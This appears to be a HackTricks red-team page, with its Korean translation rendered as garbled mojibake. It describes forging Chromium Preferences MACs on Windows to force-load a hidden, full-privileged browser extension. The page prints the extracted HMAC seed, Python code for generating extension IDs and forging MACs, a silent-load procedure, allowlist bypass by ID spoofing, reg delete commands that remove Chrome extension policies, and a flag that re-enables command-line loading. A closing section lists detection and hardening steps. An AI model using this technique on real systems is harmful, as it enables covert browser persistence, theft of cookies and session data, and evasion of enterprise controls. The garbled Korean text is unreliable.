Forced Extension Load & Preferences MAC Forgery (Windows)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Overview

Windows์—์„œ Chromium ๊ธฐ๋ฐ˜ ๋ธŒ๋ผ์šฐ์ €์˜ ์‚ฌ์šฉ์ž์˜ Preferences/Secure Preferences ํŒŒ์ผ์„ ํŽธ์ง‘ํ•˜๊ณ  ์ˆ˜์ •๋œ ๋…ธ๋“œ์— ๋Œ€ํ•ด ์œ ํšจํ•œ HMACs๋ฅผ ์œ„์กฐํ•˜์—ฌ ์ž„์˜์˜ extension์„ ๊ฐ•์ œ๋กœ ๋กœ๋“œํ•˜๋Š” stealthy post-exploitation technique. Chrome/Chromium, Edge, Brave์—์„œ ๋™์ž‘ํ•จ. ๊ฒŒ์‹œ ์‹œ์ ์— Chromium 130๋ถ€ํ„ฐ 139๊นŒ์ง€์—์„œ ์ ์šฉ๋˜๋Š” ๊ฒƒ์œผ๋กœ ๊ด€์ฐฐ๋จ. ํ”ผํ•ด์ž ํ”„๋กœํ•„์— ๋Œ€ํ•œ ๋‹จ์ˆœํ•œ disk write primitive๋งŒ ์žˆ์œผ๋ฉด command-line flags๋‚˜ user prompts ์—†์ด full-privileged extension์„ ์˜๊ตฌํ™”ํ•  ์ˆ˜ ์žˆ์Œ.

Key idea: Chromium์€ ์‚ฌ์šฉ์ž๋ณ„ extension ์ƒํƒœ๋ฅผ JSON preferences ํŒŒ์ผ์— ์ €์žฅํ•˜๊ณ  HMAC-SHA256์œผ๋กœ ๋ณดํ˜ธํ•œ๋‹ค. ๋ธŒ๋ผ์šฐ์ €์— ๋‚ด์žฅ๋œ seed๋กœ ์œ ํšจํ•œ MACs๋ฅผ ๊ณ„์‚ฐํ•ด ์ฃผ์ž…ํ•œ ๋…ธ๋“œ ์˜†์— ๊ธฐ๋กํ•˜๋ฉด ๋ธŒ๋ผ์šฐ์ €๋Š” ์ด๋ฅผ ์ˆ˜๋ฝํ•˜๊ณ  extension ํ•ญ๋ชฉ์„ ํ™œ์„ฑํ™”ํ•œ๋‹ค.

Where extension state lives (Windows)

  • Nonโ€“domainโ€‘joined Chrome profile:
  • %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (includes a root โ€œsuper_macโ€).
  • Domainโ€‘joined Chrome profile:
  • %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
  • Key nodes used by Chromium:
  • extensions.settings.<extension_id> โ†’ extension ํ•ญ๋ชฉ์˜ embedded manifest/metadata
  • protection.macs.extensions.settings.<extension_id> โ†’ ํ•ด๋‹น JSON blob์˜ HMAC
  • Chromium โ‰ฅ134: extensions.ui.developer_mode (boolean) must be present and MACโ€‘signed for unpacked extensions to activate

Simplified schema (illustrative):

{
"extensions": {
"settings": {
"<extension_id>": {
"name": "Extension name",
"manifest_version": 3,
"version": "1.0",
"key": "<BASE64 DER SPKI>",
"path": "<absolute path if unpacked>",
"state": 1,
"from_bookmark": false,
"was_installed_by_default": false
// ...rest of manifest.json + required install metadata
}
},
"ui": { "developer_mode": true }
},
"protection": {
"macs": {
"extensions": {
"settings": { "<extension_id>": "<MAC>" },
"ui": { "developer_mode": "<MAC>" }
}
}
}
}

์ฐธ๊ณ :

  • Edge/Brave๋„ ์œ ์‚ฌํ•œ ๊ตฌ์กฐ๋ฅผ ์œ ์ง€ํ•ฉ๋‹ˆ๋‹ค. protection seed ๊ฐ’์€ ๋‹ฌ๋ผ์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์ผ๋ถ€ ๋นŒ๋“œ์—์„œ๋Š” Edge/Brave๊ฐ€ null/other seed๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์œผ๋กœ ๊ด€์ฐฐ๋จ).

Extension IDs: path vs key ๋ฐ ๊ฒฐ์ •๋ก ์ ์œผ๋กœ ๋งŒ๋“ค๊ธฐ

Chromium์€ ํ™•์žฅ ํ”„๋กœ๊ทธ๋žจ ID๋ฅผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋„์ถœํ•ฉ๋‹ˆ๋‹ค:

  • ํŒจํ‚ค์ง€๋œ/์„œ๋ช…๋œ ํ™•์žฅ: ID = SHAโ€‘256 over DERโ€‘encoded SubjectPublicKeyInfo (SPKI) โ†’ take first 32 hex chars โ†’ map 0โ€“f to aโ€“p
  • ์••์ถ• ํ•ด์ œ๋œ(manifest์— key ์—†์Œ): ID = SHAโ€‘256 over the absolute installation path bytes โ†’ map 0โ€“f to aโ€“p

ํ˜ธ์ŠคํŠธ ๊ฐ„์— ์•ˆ์ •์ ์ธ ID๋ฅผ ์œ ์ง€ํ•˜๋ ค๋ฉด, manifest.json์˜ โ€œkeyโ€ ์•„๋ž˜์— ๊ณ ์ •๋œ base64 DER public key๋ฅผ ์‚ฝ์ž…ํ•˜์„ธ์š”. ID๋Š” ์„ค์น˜ ๊ฒฝ๋กœ ๋Œ€์‹  ์ด key์—์„œ ํŒŒ์ƒ๋ฉ๋‹ˆ๋‹ค.

๊ฒฐ์ •๋ก ์  ID์™€ ํ‚ค ์Œ์„ ์ƒ์„ฑํ•˜๋Š” ํ—ฌํผ:

import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa

def translate_crx_id(s: str) -> str:
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
return ''.join(t.get(c, c) for c in s)

def generate_extension_keys() -> tuple[str,str,str]:
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
pub_b64 = base64.b64encode(spki).decode('utf-8')
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
return crx_id, pub_b64, priv_b64

print(generate_extension_keys())

์ƒ์„ฑ๋œ ๊ณต๊ฐœ ํ‚ค๋ฅผ manifest.json์— ์ถ”๊ฐ€ํ•˜์—ฌ ID๋ฅผ ๊ณ ์ •ํ•˜์„ธ์š”:

{
"manifest_version": 3,
"name": "Synacktiv extension",
"version": "1.0",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}

Forging Preferences integrity MACs (core bypass)

Chromium๋Š” ๊ฐ ๋…ธ๋“œ์˜ โ€œpathโ€ + ์ง๋ ฌํ™”๋œ JSON ๊ฐ’์— ๋Œ€ํ•ด HMACโ€‘SHA256์„ ์ ์šฉํ•ด preferences๋ฅผ ๋ณดํ˜ธํ•œ๋‹ค. HMAC ์‹œ๋“œ๋Š” ๋ธŒ๋ผ์šฐ์ €์˜ resources.pak์— ๋‚ด์žฅ๋˜์–ด ์žˆ์œผ๋ฉฐ Chromium 139๊นŒ์ง€ ์œ ํšจํ–ˆ๋‹ค.

GRIT pak_util๋กœ ์‹œ๋“œ๋ฅผ ์ถ”์ถœํ•˜๊ณ  ์‹œ๋“œ ์ปจํ…Œ์ด๋„ˆ(file id 146 in tested builds)๋ฅผ ์ฐพ์•„๋ผ:

python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8

MACs (๋Œ€๋ฌธ์ž 16์ง„์ˆ˜)๋ฅผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๊ณ„์‚ฐ:

ext_mac = HMAC_SHA256(seed,
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))

devmode_mac = HMAC_SHA256(seed,
"extensions.ui.developer_mode" + ("true" or "false"))

๊ฐ„๋‹จํ•œ Python ์˜ˆ์ œ:

import json, hmac, hashlib

def mac_upper(seed_hex: str, pref_path: str, value) -> str:
seed = bytes.fromhex(seed_hex)
# Compact JSON to match Chromium serialization closely
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
msg = (pref_path + val).encode('utf-8')
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()

# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")

Write the values under:

  • protection.macs.extensions.settings.<crx_id> = ext_mac
  • protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium โ‰ฅ134)

Browser differences: on Microsoft Edge and Brave the seed may be null/different. The HMAC structure remains the same; adjust the seed accordingly.

๊ตฌํ˜„ ํŒ

  • Chromium์ด MAC์„ ๊ณ„์‚ฐํ•  ๋•Œ ์‚ฌ์šฉํ•˜๋Š” JSON ์ง๋ ฌํ™”๋ฅผ ์ •ํ™•ํžˆ ์‚ฌ์šฉํ•˜์„ธ์š”(์‹ค๋ฌด์—์„œ๋Š” ๊ณต๋ฐฑ ์—†๋Š” compact JSON์ด ์•ˆ์ „ํ•ฉ๋‹ˆ๋‹ค; ํ‚ค ์ •๋ ฌ์€ ์ˆœ์„œ ๋ฌธ์ œ ํšŒํ”ผ์— ๋„์›€์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค).
  • Chromium โ‰ฅ134์—์„œ๋Š” extensions.ui.developer_mode๊ฐ€ ์กด์žฌํ•˜๊ณ  ์„œ๋ช…๋˜์–ด ์žˆ์–ด์•ผ ํ•˜๋ฉฐ, ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด unpacked ํ•ญ๋ชฉ์ด ํ™œ์„ฑํ™”๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

Endโ€‘toโ€‘end silent load flow (Windows)

  1. ๊ฒฐ์ •๋ก ์  ID๋ฅผ ์ƒ์„ฑํ•˜๊ณ  manifest.json์— โ€œkeyโ€œ๋ฅผ ์‚ฝ์ž…ํ•˜์„ธ์š”; ์›ํ•˜๋Š” ๊ถŒํ•œ(service worker/content scripts)์„ ๊ฐ€์ง„ unpacked MV3 ํ™•์žฅํŒฉ์„ ์ค€๋น„ํ•ฉ๋‹ˆ๋‹ค.
  2. manifest์™€ Chromium์ด ์š”๊ตฌํ•˜๋Š” ์ตœ์†Œ ์„ค์น˜ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ(state, path for unpacked, etc.)๋ฅผ ํฌํ•จํ•˜์—ฌ extensions.settings.๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.
  3. resources.pak (file 146)์—์„œ HMAC seed๋ฅผ ์ถ”์ถœํ•˜๊ณ  ๋‘ ๊ฐœ์˜ MAC๋ฅผ ๊ณ„์‚ฐํ•ฉ๋‹ˆ๋‹ค: ํ•˜๋‚˜๋Š” settings ๋…ธ๋“œ์šฉ, ๋‹ค๋ฅธ ํ•˜๋‚˜๋Š” extensions.ui.developer_mode์šฉ (Chromium โ‰ฅ134).
  4. ์กฐ์ž‘ํ•œ ๋…ธ๋“œ์™€ MAC๋“ค์„ ๋Œ€์ƒ ํ”„๋กœํ•„์˜ Preferences/Secure Preferences์— ๊ธฐ๋กํ•˜์„ธ์š”; ๋‹ค์Œ ์‹คํ–‰ ์‹œ ์„ ์–ธ๋œ ๋ชจ๋“  ๊ถŒํ•œ์œผ๋กœ ํ™•์žฅํŒฉ์ด ์ž๋™ ํ™œ์„ฑํ™”๋ฉ๋‹ˆ๋‹ค.

Bypassing enterprise controls

  • Whitelisted extension hash spoofing (ID spoofing)
  1. Install an allowed Web Store extension and note its ID
  2. Obtain its public key (e.g., via chrome.runtime.getManifest().key in the background/service worker or by fetching/parsing its .crx)
  3. Set that key as manifest.key in your modified extension to reproduce the same ID
  4. Register the entry in Preferences and sign the MACs โ†’ ExtensionInstallAllowlist checks that match on ID only are bypassed
  • Extension stomping (ID collision precedence)

  • If a local unpacked extension shares an ID with an installed Web Store extension, Chromium prefers the unpacked one. This effectively replaces the legitimate extension in chrome://extensions while preserving the trusted ID. Verified on Chrome and Edge (e.g., Adobe PDF)

  • Neutralizing GPO via HKCU (requires admin)

  • Chrome/Edge policies live under HKCU\Software\Policies*

  • With admin rights, delete/modify policy keys before writing your entries to avoid blocks:

reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f

๋…ธ์ด์ฆˆ๊ฐ€ ๋งŽ์€ ๋Œ€์ฒด ๋ฐฉ๋ฒ•: ๋ช…๋ น์ค„ ๋กœ๋”ฉ

Chromium โ‰ฅ137๋ถ€ํ„ฐ, โ€“load-extension์€ ๋‹ค์Œ๋„ ํ•จ๊ป˜ ์ „๋‹ฌํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

--disable-features=DisableLoadExtensionCommandLineSwitch

์ด ์ ‘๊ทผ๋ฒ•์€ ๋„๋ฆฌ ์•Œ๋ ค์ ธ ์žˆ์œผ๋ฉฐ ๋ชจ๋‹ˆํ„ฐ๋ง๋ฉ๋‹ˆ๋‹ค(์˜ˆ: EDR/DFIR; Chromeloader ๊ฐ™์€ commodity malware์—์„œ ์‚ฌ์šฉ๋จ). Preference MAC forging์€ ๋” ์€๋ฐ€ํ•ฉ๋‹ˆ๋‹ค.

Related flags and more crossโ€‘platform tricks are discussed here:

macOS Chromium Injection

์šด์˜ ์˜ํ–ฅ

์ผ๋‹จ ์ˆ˜๋ฝ๋˜๋ฉด, ํ™•์žฅ ํ”„๋กœ๊ทธ๋žจ์€ ์„ ์–ธ๋œ ๊ถŒํ•œ์œผ๋กœ ์‹คํ–‰๋˜์–ด DOM ์ ‘๊ทผ, ์š”์ฒญ ๊ฐ€๋กœ์ฑ„๊ธฐ/๋ฆฌ๋””๋ ‰์…˜, ์ฟ ํ‚ค/์Šคํ† ๋ฆฌ์ง€ ์ ‘๊ทผ ๋ฐ ์Šคํฌ๋ฆฐ์ƒท ์บก์ฒ˜๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค โ€” ์‚ฌ์‹ค์ƒ ๋ธŒ๋ผ์šฐ์ € ๋‚ด ์ฝ”๋“œ ์‹คํ–‰๊ณผ ์˜๊ตฌ์ ์ธ ์‚ฌ์šฉ์ž ํ”„๋กœํ•„ ์œ ์ง€๊ฐ€ ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค. Preferences๋ฅผ ํ†ตํ•œ ํ™œ์„ฑํ™”๊ฐ€ ๋ฐ์ดํ„ฐ ๊ธฐ๋ฐ˜์œผ๋กœ ์ด๋ฃจ์–ด์ง€๊ธฐ ๋•Œ๋ฌธ์— SMB ๋˜๋Š” ๊ธฐํƒ€ ์ฑ„๋„์„ ํ†ตํ•œ ์›๊ฒฉ ๋ฐฐํฌ๋„ ๊ฐ„๋‹จํ•ฉ๋‹ˆ๋‹ค.

ํƒ์ง€ ๋ฐ ๊ฐ•ํ™”

  • Preferences/Secure Preferences์— ์“ฐ๊ธฐ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๋Š” nonโ€‘Chromium ํ”„๋กœ์„ธ์Šค๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์„ธ์š”, ํŠนํžˆ protection.macs ์—”ํŠธ๋ฆฌ์™€ ์ง์„ ์ด๋ฃจ๋Š” extensions.settings ์•„๋ž˜์˜ ์ƒˆ๋กœ์šด ๋…ธ๋“œ๋“ค
  • extensions.ui.developer_mode์˜ ์˜ˆ๊ธฐ์น˜ ์•Š์€ ํ† ๊ธ€๊ณผ HMAC ์œ ํšจํ•˜์ง€๋งŒ ์Šน์ธ๋˜์ง€ ์•Š์€ ํ™•์žฅ ํ•ญ๋ชฉ์— ๋Œ€ํ•ด ๊ฒฝ๋ณด๋ฅผ ์ƒ์„ฑํ•˜์„ธ์š”
  • ๋ณ€์กฐ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด HKCU/HKLM Software\Policies๋ฅผ ๊ฐ์‚ฌํ•˜์„ธ์š”; ์žฅ์น˜ ๊ด€๋ฆฌ/Chrome Browser Cloud Management๋ฅผ ํ†ตํ•ด ์ •์ฑ…์„ ๊ฐ•์ œํ•˜์„ธ์š”
  • ํ™•์žฅ ID๋งŒ์œผ๋กœ ์ผ์น˜์‹œํ‚ค๋Š” allowlists๋ณด๋‹ค ๊ฒ€์ฆ๋œ ํผ๋ธ”๋ฆฌ์…”์˜ ์Šคํ† ์–ด์—์„œ์˜ forcedโ€‘install์„ ์„ ํ˜ธํ•˜์„ธ์š”

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ